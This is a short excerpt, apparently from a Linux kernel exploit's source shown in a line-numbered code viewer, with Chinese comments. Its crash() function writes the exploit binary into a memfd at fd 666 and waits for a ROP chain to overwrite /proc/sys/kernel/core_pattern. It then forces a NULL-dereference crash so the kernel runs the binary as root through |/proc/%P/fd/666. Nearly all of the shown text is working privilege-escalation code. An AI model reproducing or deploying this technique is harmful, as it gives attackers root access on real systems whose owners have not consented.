子进程函数: 等待 core_pattern 被 ROP 覆写后,触发 crash 实现提权 1. 通过 memfd + sendfile 将 exploit 二进制写入 fd 666 2. 轮询 /proc/sys/kernel/core_pattern 直到检测到覆写成功 3. 触发 NULL 解引用 crash → 内核执行 |/proc/%P/fd/666 → 以 root 运行 exploit
| 1720 | // 2. 轮询 /proc/sys/kernel/core_pattern 直到检测到覆写成功 |
| 1721 | // 3. 触发 NULL 解引用 crash → 内核执行 |/proc/%P/fd/666 → 以 root 运行 exploit |
| 1722 | void crash() |
| 1723 | { |
| 1724 | int memfd = memfd_create("", 0); |
| 1725 | sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff); |
| 1726 | dup2(memfd, 666); |
| 1727 | close(memfd); |
| 1728 | |
| 1729 | while (check_core() == 0) |
| 1730 | sleep(1); |
| 1731 | |
| 1732 | *(size_t *)0 = 0; |
| 1733 | } |
| 1734 | |
| 1735 | // 用户态 RCU 同步: 通过 membarrier 系统调用强制所有 CPU 执行内存屏障 |
| 1736 | // 这确保 RCU callbacks 在已调度过的 CPU 上被处理,加速 RCU 宽限期完成 |